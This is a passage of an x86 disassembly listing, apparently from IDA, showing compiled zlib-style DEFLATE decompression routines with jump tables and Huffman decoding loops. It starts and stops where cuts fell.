		call	sub_4DD8DE
		add	esp, 0Ch


loc_4DC583:				; CODE XREF: sub_4DBC4B+84Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4DBC4B	endp

; ---------------------------------------------------------------------------
off_4DC588	dd offset loc_4DBC9D	; DATA XREF: sub_4DBC4B+4Br
		dd offset loc_4DBD7B	; jump table for switch	statement
		dd offset loc_4DBDEE
		dd offset loc_4DBED8
		dd offset loc_4DBF70
		dd offset loc_4DC02E
		dd offset loc_4DC1FD
		dd offset loc_4DC4AF
		dd offset loc_4DC4F9
		dd offset loc_4DC525

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DC5B0	proc near		; CODE XREF: sub_4DCF00+21p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	edi, [ebp+arg_0]
		push	0
		push	esi
		push	edi
		call	sub_4DBB53
		push	dword ptr [edi+28h]
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		push	dword ptr [edi+24h]
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		push	edi
		push	dword ptr [esi+28h]
		call	dword ptr [esi+24h]
		add	esp, 24h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_4DC5B0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DC5E6	proc near		; CODE XREF: sub_4DBC4B+E8p
					; sub_4DBC4B+58Cp

arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_10]
		push	1Ch
		push	1
		push	dword ptr [eax+28h]
		call	dword ptr [eax+20h]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_4DC618
		mov	cl, [ebp+arg_0]
		and	dword ptr [eax], 0
		mov	[eax+10h], cl
		mov	cl, [ebp+arg_4]
		mov	[eax+11h], cl
		mov	ecx, [ebp+arg_8]
		mov	[eax+14h], ecx
		mov	ecx, [ebp+arg_C]
		mov	[eax+18h], ecx


loc_4DC618:				; CODE XREF: sub_4DC5E6+15j
		pop	ebp
		retn
sub_4DC5E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DC61A	proc near		; CODE XREF: sub_4DBC4B+5DEp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, [esi]
		mov	[ebp+var_4], eax
		mov	eax, [esi+4]
		mov	edx, [edi+34h]
		mov	[ebp+var_8], eax
		mov	eax, [edi+20h]
		mov	ebx, [edi+4]
		mov	[ebp+arg_4], eax
		mov	eax, [edi+1Ch]
		mov	[ebp+arg_0], eax
		mov	eax, [edi+30h]
		cmp	edx, eax
		jnb	short loc_4DC652
		sub	eax, edx
		dec	eax
		jmp	short loc_4DC657
; ---------------------------------------------------------------------------


loc_4DC652:				; CODE XREF: sub_4DC61A+31j
		mov	eax, [edi+2Ch]
		sub	eax, edx


loc_4DC657:				; CODE XREF: sub_4DC61A+36j
		mov	[ebp+var_C], eax


loc_4DC65A:				; CODE XREF: sub_4DC61A+E9j
					; sub_4DC61A+16Ej ...
		mov	ecx, [ebx]
		cmp	ecx, 9		; switch 10 cases
		ja	loc_4DCB7E	; default
		jmp	ds:off_4DCBB0[ecx*4] ; switch jump


loc_4DC66C:				; DATA XREF: _4:off_4DCBB0o
		cmp	eax, 102h	; jumptable 004DC665 case 0
		jb	loc_4DC708
		cmp	[ebp+var_8], 0Ah
		jb	loc_4DC708
		mov	eax, [ebp+arg_4]
		push	esi
		mov	[edi+20h], eax
		mov	eax, [ebp+arg_0]
		mov	[edi+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax
		mov	eax, [ebp+var_4]
		mov	ecx, eax
		push	edi
		sub	ecx, [esi]
		mov	[esi], eax
		add	[esi+8], ecx
		mov	[edi+34h], edx
		push	dword ptr [ebx+18h]
		movzx	eax, byte ptr [ebx+11h]
		push	dword ptr [ebx+14h]
		push	eax
		movzx	eax, byte ptr [ebx+10h]
		push	eax
		call	sub_4DCBEB
		mov	[ebp+arg_8], eax
		mov	eax, [esi]
		mov	[ebp+var_4], eax
		mov	eax, [esi+4]
		mov	edx, [edi+34h]
		mov	[ebp+var_8], eax
		mov	eax, [edi+20h]
		add	esp, 18h
		mov	[ebp+arg_4], eax
		mov	eax, [edi+1Ch]
		mov	[ebp+arg_0], eax
		mov	eax, [edi+30h]
		cmp	edx, eax
		jnb	short loc_4DC6E5
		sub	eax, edx
		dec	eax
		jmp	short loc_4DC6EA
; ---------------------------------------------------------------------------


loc_4DC6E5:				; CODE XREF: sub_4DC61A+C4j
		mov	eax, [edi+2Ch]
		sub	eax, edx


loc_4DC6EA:				; CODE XREF: sub_4DC61A+C9j
		cmp	[ebp+arg_8], 0
		mov	[ebp+var_C], eax
		jz	short loc_4DC708
		mov	ecx, [ebp+arg_8]
		dec	ecx
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 2
		add	ecx, 7
		mov	[ebx], ecx
		jmp	loc_4DC65A
; ---------------------------------------------------------------------------


loc_4DC708:				; CODE XREF: sub_4DC61A+57j
					; sub_4DC61A+61j ...
		movzx	eax, byte ptr [ebx+10h]
		mov	[ebx+0Ch], eax
		mov	eax, [ebx+14h]
		mov	[ebx+8], eax
		mov	dword ptr [ebx], 1


loc_4DC71B:				; CODE XREF: sub_4DC61A+4Bj
					; sub_4DC61A+12Fj
					; DATA XREF: ...
		mov	eax, [ebx+0Ch]	; jumptable 004DC665 case 1
		cmp	[ebp+arg_0], eax
		jnb	short loc_4DC74B
		cmp	[ebp+var_8], 0
		jz	loc_4DCA88
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		and	[ebp+arg_8], 0
		dec	[ebp+var_8]
		movzx	eax, byte ptr [eax]
		shl	eax, cl
		or	[ebp+arg_4], eax
		inc	[ebp+var_4]
		add	[ebp+arg_0], 8
		jmp	short loc_4DC71B ; jumptable 004DC665 case 1
; ---------------------------------------------------------------------------


loc_4DC74B:				; CODE XREF: sub_4DC61A+107j
		mov	eax, ds:dword_4E0318[eax*4]
		mov	ecx, [ebx+8]
		and	eax, [ebp+arg_4]
		lea	eax, [ecx+eax*8]
		mov	[ebp+var_14], eax
		movzx	ecx, byte ptr [eax+1]
		movzx	eax, byte ptr [eax+1]
		sub	[ebp+arg_0], eax
		mov	eax, [ebp+var_14]
		shr	[ebp+arg_4], cl
		movzx	ecx, byte ptr [eax]
		test	ecx, ecx
		mov	[ebp+var_18], ecx
		jnz	short loc_4DC78D
		mov	eax, [eax+4]
		mov	dword ptr [ebx], 6
		mov	[ebx+8], eax


loc_4DC785:				; CODE XREF: sub_4DC61A+18Dj
					; sub_4DC61A+1A7j ...
		mov	eax, [ebp+var_C]
		jmp	loc_4DC65A
; ---------------------------------------------------------------------------


loc_4DC78D:				; CODE XREF: sub_4DC61A+15Dj
		mov	ecx, [ebp+var_18]
		test	cl, 10h
		jz	short loc_4DC7A9
		and	ecx, 0Fh
		mov	[ebx+8], ecx
		mov	eax, [eax+4]
		mov	[ebx+4], eax
		mov	dword ptr [ebx], 2
		jmp	short loc_4DC785
; ---------------------------------------------------------------------------


loc_4DC7A9:				; CODE XREF: sub_4DC61A+179j
		test	cl, 40h
		jz	loc_4DC89A
		test	cl, 20h
		jz	loc_4DCA9A
		mov	dword ptr [ebx], 7
		jmp	short loc_4DC785
; ---------------------------------------------------------------------------


loc_4DC7C3:				; CODE XREF: sub_4DC61A+4Bj
					; sub_4DC61A+1D7j
					; DATA XREF: ...
		mov	eax, [ebx+8]	; jumptable 004DC665 case 2
		cmp	[ebp+arg_0], eax
		jnb	short loc_4DC7F3
		cmp	[ebp+var_8], 0
		jz	loc_4DCA88
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		and	[ebp+arg_8], 0
		dec	[ebp+var_8]
		movzx	eax, byte ptr [eax]
		shl	eax, cl
		or	[ebp+arg_4], eax
		inc	[ebp+var_4]
		add	[ebp+arg_0], 8
		jmp	short loc_4DC7C3 ; jumptable 004DC665 case 2
; ---------------------------------------------------------------------------


loc_4DC7F3:				; CODE XREF: sub_4DC61A+1AFj
		mov	eax, ds:dword_4E0318[eax*4]
		mov	ecx, [ebx+8]
		and	eax, [ebp+arg_4]
		mov	dword ptr [ebx], 3
		shr	[ebp+arg_4], cl
		add	[ebx+4], eax
		mov	eax, ecx
		sub	[ebp+arg_0], eax
		movzx	eax, byte ptr [ebx+11h]
		mov	[ebx+0Ch], eax
		mov	eax, [ebx+18h]
		mov	[ebx+8], eax


loc_4DC81E:				; CODE XREF: sub_4DC61A+4Bj
					; sub_4DC61A+232j
					; DATA XREF: ...
		mov	eax, [ebx+0Ch]	; jumptable 004DC665 case 3
		cmp	[ebp+arg_0], eax
		jnb	short loc_4DC84E
		cmp	[ebp+var_8], 0
		jz	loc_4DCA88
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		and	[ebp+arg_8], 0
		dec	[ebp+var_8]
		movzx	eax, byte ptr [eax]
		shl	eax, cl
		or	[ebp+arg_4], eax
		inc	[ebp+var_4]
		add	[ebp+arg_0], 8
		jmp	short loc_4DC81E ; jumptable 004DC665 case 3
; ---------------------------------------------------------------------------


loc_4DC84E:				; CODE XREF: sub_4DC61A+20Aj
		mov	eax, ds:dword_4E0318[eax*4]
		mov	ecx, [ebx+8]
		and	eax, [ebp+arg_4]
		lea	eax, [ecx+eax*8]
		mov	[ebp+var_14], eax
		movzx	ecx, byte ptr [eax+1]
		movzx	eax, byte ptr [eax+1]
		sub	[ebp+arg_0], eax
		mov	eax, [ebp+var_14]
		shr	[ebp+arg_4], cl
		movzx	ecx, byte ptr [eax]
		test	cl, 10h
		jz	short loc_4DC891
		and	ecx, 0Fh
		mov	[ebx+8], ecx
		mov	eax, [eax+4]
		mov	[ebx+0Ch], eax
		mov	dword ptr [ebx], 4
		jmp	loc_4DC785
; ---------------------------------------------------------------------------


loc_4DC891:				; CODE XREF: sub_4DC61A+25Ej
		test	cl, 40h
		jnz	loc_4DCACF


loc_4DC89A:				; CODE XREF: sub_4DC61A+192j
		mov	[ebx+0Ch], ecx
		mov	ecx, [eax+4]
		lea	eax, [eax+ecx*8]
		mov	[ebx+8], eax
		jmp	loc_4DC785
; ---------------------------------------------------------------------------


loc_4DC8AB:				; CODE XREF: sub_4DC61A+4Bj
					; sub_4DC61A+2BFj
					; DATA XREF: ...
		mov	eax, [ebx+8]	; jumptable 004DC665 case 4
		cmp	[ebp+arg_0], eax
		jnb	short loc_4DC8DB
		cmp	[ebp+var_8], 0
		jz	loc_4DCA88
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		and	[ebp+arg_8], 0
		dec	[ebp+var_8]
		movzx	eax, byte ptr [eax]
		shl	eax, cl
		or	[ebp+arg_4], eax
		inc	[ebp+var_4]
		add	[ebp+arg_0], 8
		jmp	short loc_4DC8AB ; jumptable 004DC665 case 4
; ---------------------------------------------------------------------------


loc_4DC8DB:				; CODE XREF: sub_4DC61A+297j
		mov	eax, ds:dword_4E0318[eax*4]
		mov	ecx, [ebx+8]
		and	eax, [ebp+arg_4]
		mov	dword ptr [ebx], 5
		shr	[ebp+arg_4], cl
		add	[ebx+0Ch], eax
		mov	eax, ecx
		sub	[ebp+arg_0], eax


loc_4DC8F9:				; CODE XREF: sub_4DC61A+4Bj
					; DATA XREF: _4:off_4DCBB0o
		mov	ecx, [edi+28h]	; jumptable 004DC665 case 5
		mov	eax, edx
		sub	eax, [ebx+0Ch]
		cmp	eax, ecx
		mov	[ebp+var_10], eax
		jnb	short loc_4DC91E
		mov	eax, [edi+2Ch]
		sub	eax, ecx
		mov	[ebp+var_18], eax


loc_4DC910:				; CODE XREF: sub_4DC61A+302j
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_18]
		cmp	eax, [edi+28h]
		mov	[ebp+var_10], eax
		jb	short loc_4DC910


loc_4DC91E:				; CODE XREF: sub_4DC61A+2ECj
		cmp	dword ptr [ebx+4], 0
		mov	eax, [ebp+var_C]
		jz	loc_4DC9E3


loc_4DC92B:				; CODE XREF: sub_4DC61A+3C3j
		test	eax, eax
		jnz	loc_4DC9B9
		mov	eax, [edi+2Ch]
		cmp	edx, eax
		mov	[ebp+var_14], eax
		jnz	short loc_4DC95B
		mov	eax, [edi+30h]
		mov	ecx, [edi+28h]
		cmp	eax, ecx
		jz	short loc_4DC95B
		mov	edx, ecx
		cmp	edx, eax
		jnb	short loc_4DC952
		sub	eax, edx
		dec	eax
		jmp	short loc_4DC957
; ---------------------------------------------------------------------------


loc_4DC952:				; CODE XREF: sub_4DC61A+331j
		mov	eax, [ebp+var_14]
		sub	eax, edx


loc_4DC957:				; CODE XREF: sub_4DC61A+336j
		test	eax, eax
		jnz	short loc_4DC9B9


loc_4DC95B:				; CODE XREF: sub_4DC61A+321j
					; sub_4DC61A+32Bj
		push	[ebp+arg_8]
		mov	[edi+34h], edx
		push	esi
		push	edi
		call	sub_4DD8DE
		mov	edx, [edi+34h]
		mov	[ebp+arg_8], eax
		mov	eax, [edi+30h]
		add	esp, 0Ch
		cmp	edx, eax
		mov	[ebp+var_18], eax
		jnb	short loc_4DC980
		sub	eax, edx
		dec	eax
		jmp	short loc_4DC985
; ---------------------------------------------------------------------------


loc_4DC980:				; CODE XREF: sub_4DC61A+35Fj
		mov	eax, [edi+2Ch]
		sub	eax, edx


loc_4DC985:				; CODE XREF: sub_4DC61A+364j
		mov	ecx, [edi+2Ch]
		mov	[ebp+var_C], eax
		cmp	edx, ecx
		mov	[ebp+var_14], ecx
		jnz	short loc_4DC9B1
		mov	ecx, [edi+28h]
		mov	eax, [ebp+var_18]
		cmp	eax, ecx
		jz	short loc_4DC9AE
		mov	edx, ecx
		cmp	edx, eax
		jnb	short loc_4DC9A7
		sub	eax, edx
		dec	eax
		jmp	short loc_4DC9B1
; ---------------------------------------------------------------------------


loc_4DC9A7:				; CODE XREF: sub_4DC61A+386j
		mov	eax, [ebp+var_14]
		sub	eax, edx
		jmp	short loc_4DC9B1
; ---------------------------------------------------------------------------


loc_4DC9AE:				; CODE XREF: sub_4DC61A+380j
		mov	eax, [ebp+var_C]


loc_4DC9B1:				; CODE XREF: sub_4DC61A+376j
					; sub_4DC61A+38Bj ...
		test	eax, eax
		jz	loc_4DCADE


loc_4DC9B9:				; CODE XREF: sub_4DC61A+313j
					; sub_4DC61A+33Fj
		mov	ecx, [ebp+var_10]
		and	[ebp+arg_8], 0
		mov	cl, [ecx]
		mov	[edx], cl
		inc	edx
		inc	[ebp+var_10]
		dec	eax
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_C], eax
		cmp	ecx, [edi+2Ch]
		jnz	short loc_4DC9DA
		mov	ecx, [edi+28h]
		mov	[ebp+var_10], ecx


loc_4DC9DA:				; CODE XREF: sub_4DC61A+3B8j
		dec	dword ptr [ebx+4]
		jnz	loc_4DC92B


loc_4DC9E3:				; CODE XREF: sub_4DC61A+30Bj
					; sub_4DC61A+469j
		and	dword ptr [ebx], 0
		jmp	loc_4DC65A
; ---------------------------------------------------------------------------


loc_4DC9EB:				; CODE XREF: sub_4DC61A+4Bj
					; DATA XREF: _4:off_4DCBB0o
		test	eax, eax	; jumptable 004DC665 case 6
		jnz	loc_4DCA75
		mov	eax, [edi+2Ch]
		cmp	edx, eax
		mov	[ebp+var_14], eax
		jnz	short loc_4DCA1B
		mov	eax, [edi+30h]
		mov	ecx, [edi+28h]
		cmp	eax, ecx
		jz	short loc_4DCA1B
		mov	edx, ecx
		cmp	edx, eax
		jnb	short loc_4DCA12
		sub	eax, edx
		dec	eax
		jmp	short loc_4DCA17
; ---------------------------------------------------------------------------


loc_4DCA12:				; CODE XREF: sub_4DC61A+3F1j
		mov	eax, [ebp+var_14]
		sub	eax, edx


loc_4DCA17:				; CODE XREF: sub_4DC61A+3F6j
		test	eax, eax
		jnz	short loc_4DCA75


loc_4DCA1B:				; CODE XREF: sub_4DC61A+3E1j
					; sub_4DC61A+3EBj
		push	[ebp+arg_8]
		mov	[edi+34h], edx
		push	esi
		push	edi
		call	sub_4DD8DE
		mov	edx, [edi+34h]
		mov	[ebp+arg_8], eax
		mov	eax, [edi+30h]
		add	esp, 0Ch
		cmp	edx, eax
		mov	[ebp+var_18], eax
		jnb	short loc_4DCA40
		sub	eax, edx
		dec	eax
		jmp	short loc_4DCA45
; ---------------------------------------------------------------------------


loc_4DCA40:				; CODE XREF: sub_4DC61A+41Fj
		mov	eax, [edi+2Ch]
		sub	eax, edx


loc_4DCA45:				; CODE XREF: sub_4DC61A+424j
		mov	ecx, [edi+2Ch]
		mov	[ebp+var_C], eax
		cmp	edx, ecx
		mov	[ebp+var_14], ecx
		jnz	short loc_4DCA71
		mov	ecx, [edi+28h]
		mov	eax, [ebp+var_18]
		cmp	eax, ecx
		jz	short loc_4DCA6E
		mov	edx, ecx
		cmp	edx, eax
		jnb	short loc_4DCA67
		sub	eax, edx
		dec	eax
		jmp	short loc_4DCA71
; ---------------------------------------------------------------------------


loc_4DCA67:				; CODE XREF: sub_4DC61A+446j
		mov	eax, [ebp+var_14]
		sub	eax, edx
		jmp	short loc_4DCA71
; ---------------------------------------------------------------------------


loc_4DCA6E:				; CODE XREF: sub_4DC61A+440j
		mov	eax, [ebp+var_C]


loc_4DCA71:				; CODE XREF: sub_4DC61A+436j
					; sub_4DC61A+44Bj ...
		test	eax, eax
		jz	short loc_4DCADE


loc_4DCA75:				; CODE XREF: sub_4DC61A+3D3j
					; sub_4DC61A+3FFj
		mov	cl, [ebx+8]
		and	[ebp+arg_8], 0
		mov	[edx], cl
		inc	edx
		dec	eax
		mov	[ebp+var_C], eax
		jmp	loc_4DC9E3
; ---------------------------------------------------------------------------


loc_4DCA88:				; CODE XREF: sub_4DC61A+10Dj
					; sub_4DC61A+1B5j ...
		mov	eax, [ebp+arg_4]
		mov	[edi+20h], eax
		mov	eax, [ebp+arg_0]
		mov	[edi+1Ch], eax
		and	dword ptr [esi+4], 0
		jmp	short loc_4DCAF0
; ---------------------------------------------------------------------------


loc_4DCA9A:				; CODE XREF: sub_4DC61A+19Bj
		mov	dword ptr [ebx], 9
		mov	dword ptr [esi+18h], offset aInvalidLiteral ; "invalid literal/length code"


loc_4DCAA7:				; CODE XREF: sub_4DC61A+4Bj
					; sub_4DC61A+4C2j
					; DATA XREF: ...
		mov	eax, [ebp+arg_4] ; jumptable 004DC665 case 9
		push	0FFFFFFFDh
		mov	[edi+20h], eax
		mov	eax, [ebp+arg_0]
		mov	[edi+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax
		mov	eax, [ebp+var_4]
		mov	ecx, eax
		sub	ecx, [esi]
		mov	[esi], eax
		add	[esi+8], ecx
		mov	[edi+34h], edx
		jmp	loc_4DCBA1
; ---------------------------------------------------------------------------


loc_4DCACF:				; CODE XREF: sub_4DC61A+27Aj
		mov	dword ptr [ebx], 9
		mov	dword ptr [esi+18h], offset aInvalidDistanc ; "invalid distance	code"
		jmp	short loc_4DCAA7 ; jumptable 004DC665 case 9
; ---------------------------------------------------------------------------


loc_4DCADE:				; CODE XREF: sub_4DC61A+399j
					; sub_4DC61A+459j
		mov	eax, [ebp+arg_4]
		mov	[edi+20h], eax
		mov	eax, [ebp+arg_0]
		mov	[edi+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax


loc_4DCAF0:				; CODE XREF: sub_4DC61A+47Ej
		mov	eax, [ebp+var_4]
		push	[ebp+arg_8]
		mov	ecx, eax
		sub	ecx, [esi]
		mov	[esi], eax
		add	[esi+8], ecx
		mov	[edi+34h], edx
		jmp	loc_4DCBA1
; ---------------------------------------------------------------------------


loc_4DCB07:				; CODE XREF: sub_4DC61A+4Bj
					; DATA XREF: _4:off_4DCBB0o
		cmp	[ebp+arg_0], 7	; jumptable 004DC665 case 7
		jbe	short loc_4DCB17
		sub	[ebp+arg_0], 8
		inc	[ebp+var_8]
		dec	[ebp+var_4]


loc_4DCB17:				; CODE XREF: sub_4DC61A+4F1j
		push	[ebp+arg_8]
		mov	[edi+34h], edx
		push	esi
		push	edi
		call	sub_4DD8DE
		mov	edx, [edi+34h]
		add	esp, 0Ch
		cmp	[edi+30h], edx
		jz	short loc_4DCB53
		mov	ecx, [ebp+arg_4]
		push	eax
		mov	[edi+20h], ecx
		mov	ecx, [ebp+arg_0]
		mov	[edi+1Ch], ecx
		mov	ecx, [ebp+var_8]
		mov	[esi+4], ecx
		mov	ecx, [ebp+var_4]
		mov	ebx, ecx
		sub	ebx, [esi]
		mov	[esi], ecx
		add	[esi+8], ebx
		mov	[edi+34h], edx
		jmp	short loc_4DCBA1
; ---------------------------------------------------------------------------


loc_4DCB53:				; CODE XREF: sub_4DC61A+513j
		mov	dword ptr [ebx], 8


loc_4DCB59:				; CODE XREF: sub_4DC61A+4Bj
					; DATA XREF: _4:off_4DCBB0o
		mov	eax, [ebp+arg_4] ; jumptable 004DC665 case 8
		push	1
		mov	[edi+20h], eax
		mov	eax, [ebp+arg_0]
		mov	[edi+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax
		mov	eax, [ebp+var_4]
		mov	ecx, eax
		sub	ecx, [esi]
		mov	[esi], eax
		add	[esi+8], ecx
		mov	[edi+34h], edx
		jmp	short loc_4DCBA1
; ---------------------------------------------------------------------------


loc_4DCB7E:				; CODE XREF: sub_4DC61A+45j
		mov	eax, [ebp+arg_4] ; default
		push	0FFFFFFFEh
		mov	[edi+20h], eax
		mov	eax, [ebp+arg_0]
		mov	[edi+1Ch], eax
		mov	eax, [ebp+var_8]
		mov	[esi+4], eax
		mov	eax, [ebp+var_4]
		mov	ecx, eax
		sub	ecx, [esi]
		mov	[esi], eax
		add	[esi+8], ecx
		mov	[edi+34h], edx


loc_4DCBA1:				; CODE XREF: sub_4DC61A+4B0j
					; sub_4DC61A+4E8j ...
		push	esi
		push	edi
		call	sub_4DD8DE
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4DC61A	endp

; ---------------------------------------------------------------------------
off_4DCBB0	dd offset loc_4DC66C	; DATA XREF: sub_4DC61A+4Br
		dd offset loc_4DC71B	; jump table for switch	statement
		dd offset loc_4DC7C3
		dd offset loc_4DC81E
		dd offset loc_4DC8AB
		dd offset loc_4DC8F9
		dd offset loc_4DC9EB
		dd offset loc_4DCB07
		dd offset loc_4DCB59
		dd offset loc_4DCAA7

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DCBD8	proc near		; CODE XREF: sub_4DBB53+3Ap
					; sub_4DBC4B+5F7p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+28h]
		call	dword ptr [eax+24h]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_4DCBD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4DCBEB	proc near		; CODE XREF: sub_4DC61A+9Ap

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, [ebp+arg_14]
		mov	ecx, [esi+34h]
		mov	edx, [esi+1Ch]
		mov	eax, [edi]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], eax
		mov	eax, [edi+4]
		mov	[ebp+var_4], eax
		mov	eax, [esi+20h]
		mov	[ebp+arg_14], eax
		mov	eax, [esi+30h]
		cmp	ecx, eax
		jnb	short loc_4DCC20
		sub	eax, ecx
		dec	eax
		jmp	short loc_4DCC25
; ---------------------------------------------------------------------------


loc_4DCC20:				; CODE XREF: sub_4DCBEB+2Ej
		mov	eax, [esi+2Ch]
		sub	eax, ecx


loc_4DCC25:				; CODE XREF: sub_4DCBEB+33j
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		mov	eax, ds:dword_4E0318[eax*4]
		mov	[ebp+var_14], eax
		mov	eax, [ebp+arg_4]
		mov	eax, ds:dword_4E0318[eax*4]
		mov	[ebp+arg_4], eax


loc_4DCC42:				; CODE XREF: sub_4DCBEB+72j
					; sub_4DCBEB+231j
		cmp	edx, 14h
		jnb	short loc_4DCC5F
		mov	eax, [ebp+var_8]
		dec	[ebp+var_4]
		mov	ecx, edx
		movzx	eax, byte ptr [eax]
		shl	eax, cl
		or	[ebp+arg_14], eax
		inc	[ebp+var_8]
		add	edx, 8
		jmp	short loc_4DCC42
; ---------------------------------------------------------------------------


loc_4DCC5F:				; CODE XREF: sub_4DCBEB+5Aj
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_8]
		and	eax, [ebp+arg_14]
		lea	eax, [ecx+eax*8]
		movzx	ecx, byte ptr [eax]
		mov	[ebp+arg_0], ecx
		test	ecx, ecx


loc_4DCC73:				; CODE XREF: sub_4DCBEB+C4j
		movzx	ecx, byte ptr [eax+1]
		jz	loc_4DCDF6
		shr	[ebp+arg_14], cl
		movzx	ecx, byte ptr [eax+1]
		sub	edx, ecx
		mov	ecx, [ebp+arg_0]
		test	cl, 10h
		jnz	short loc_4DCCB1
		test	cl, 40h
		jnz	loc_4DCE56
		mov	ecx, ds:dword_4E0318[ecx*4]
		and	ecx, [ebp+arg_14]
		add	ecx, [eax+4]
		lea	eax, [eax+ecx*8]
		movzx	ecx, byte ptr [eax]
		mov	[ebp+arg_0], ecx
		test	ecx, ecx
		jmp	short loc_4DCC73
; ---------------------------------------------------------------------------


loc_4DCCB1:				; CODE XREF: sub_4DCBEB+A1j
		and	ecx, 0Fh
		mov	esi, ds:dword_4E0318[ecx*4]
		and	esi, [ebp+arg_14]
		shr	[ebp+arg_14], cl
		add	esi, [eax+4]
		sub	edx, ecx
		mov	[ebp+arg_0], esi


loc_4DCCC9:				; CODE XREF: sub_4DCBEB+F9j
		cmp	edx, 0Fh
		jnb	short loc_4DCCE6
		mov	eax, [ebp+var_8]
		dec	[ebp+var_4]
		mov	ecx, edx
		movzx	eax, byte ptr [eax]
		shl	eax, cl
		or	[ebp+arg_14], eax
		inc	[ebp+var_8]
		add	edx, 8
		jmp	short loc_4DCCC9
; ---------------------------------------------------------------------------


loc_4DCCE6:				; CODE XREF: sub_4DCBEB+E1j
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+arg_C]
		and	eax, [ebp+arg_14]
		movzx	ebx, byte ptr [ecx+eax*8]
		lea	eax, [ecx+eax*8]
		movzx	ecx, byte ptr [eax+1]
		shr	[ebp+arg_14], cl
		movzx	ecx, byte ptr [eax+1]
		sub	edx, ecx


loc_4DCD03:				; CODE XREF: sub_4DCBEB+146j
		test	bl, 10h
		jnz	short loc_4DCD33
		test	bl, 40h
		jnz	loc_4DCE21
		mov	ecx, ds:dword_4E0318[ebx*4]
		and	ecx, [ebp+arg_14]
		add	ecx, [eax+4]
		movzx	ebx, byte ptr [eax+ecx*8]
		lea	eax, [eax+ecx*8]
		movzx	ecx, byte ptr [eax+1]
		shr	[ebp+arg_14], cl
		mov	[ebp+var_18], ecx
		sub	edx, ecx
		jmp	short loc_4DCD03
; ---------------------------------------------------------------------------


loc_4DCD33:				; CODE XREF: sub_4DCBEB+11Bj
		and	ebx, 0Fh


loc_4DCD36:				; CODE XREF: sub_4DCBEB+165j
		cmp	edx, ebx
		jnb	short loc_4DCD52
		mov	ecx, [ebp+var_8]
		dec	[ebp+var_4]
		movzx	esi, byte ptr [ecx]
		mov	ecx, edx
		shl	esi, cl
		or	[ebp+arg_14], esi
		inc	[ebp+var_8]
		add	edx, 8
		jmp	short loc_4DCD36
; ---------------------------------------------------------------------------


loc_4DCD52:				; CODE XREF: sub_4DCBEB+14Dj
		mov	esi, ds:dword_4E0318[ebx*4]
		mov	ecx, ebx
		and	esi, [ebp+arg_14]
		sub	edx, ebx
		shr	[ebp+arg_14], cl
		add	esi, [eax+4]
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_C]
		sub	[ebp+var_10], eax
		mov	ebx, [ebp+arg_10]
		mov	eax, ecx
		sub	eax, esi
		mov	esi, [ebx+28h]
		cmp	eax, esi
		jnb	short loc_4DCDD2
		mov	ebx, [ebx+2Ch]
		mov	[ebp+var_18], ebx
		sub	ebx, esi


loc_4DCD85:				; CODE XREF: sub_4DCBEB+19Ej
		add	eax, ebx
		cmp	eax, esi
		jb	short loc_4DCD85
		mov	esi, [ebp+var_18]
		sub	esi, eax
		cmp	[ebp+arg_0], esi
		jbe	short loc_4DCDB4
		sub	[ebp+arg_0], esi


loc_4DCD98:				; CODE XREF: sub_4DCBEB+1B4j
		mov	bl, [eax]
		mov	[ecx], bl
		inc	ecx
		inc	eax
		dec	esi
		jnz	short loc_4DCD98
